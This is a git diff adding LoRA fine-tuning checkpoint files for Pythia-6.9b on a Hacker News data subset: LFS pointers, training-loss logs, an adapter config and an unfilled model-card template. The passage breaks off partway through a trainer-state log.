0000000000000000000000000000000000000000..bb8217c7405f27ada110ae9a1164917a2b0f987f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2fc89b34b1022fc9bf1e5cfdbb26bb89b0d9927f55a54858123710272ac57093 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..82f7415495fcd1c3ffb5dae79c8c3a4c2269faa6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9a6424cc1a4d391795fbea6a94823363dca21ce0e7ec6c433e8cb5b0aca0060f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..82f0764fa1ca7bd5d0d2c27e699e54f97149a9da --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:09ce894ec673ae7c851228a15e2e8a3dfc488203c01cbf434a7c4cbec9b7becb +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..fa85b7b52be940a66c0012ea8e4e3e7c42291d19 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/trainer_state.json @@ -0,0 +1,723 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.133333333333334, + "eval_steps": 10, + "global_step": 460, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.53759311364096e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-460/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..c4f2f1338e91d583770150efb17d386ac6c36d9b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f0e710c6cb4f6a7972c9959067468fabd3ae8a8177709b2ebce2cdcd86015f5a +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..579a8f62f9fd167b5784d7f6dd0c67a94328b5d8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a310e351c002f77021dd322d3d465b459a09962b360c3c9782f134b5c1a38060 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..84ca1f63cf231e2aa1c43b465c46ef11c80bc867 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:03fc4a1860f68759a4d7833f4317681e377d4e71cf91ab1f091da8cd71579d26 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9e4c1530ac9944d4b54caf372d4f9930c6597321 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ee66a0b6b4d05213664fc79a1ffd83a3bbefdb7154906787c3ef06bfdc4539f5 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..7af00c5bbb7c9b2ca6462a30127d66931cd93f5f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-470/trainer_state.json @@ -0,0 +1,738 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.266666666666667, + "eval_steps": 10, + "global_step": 470, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + 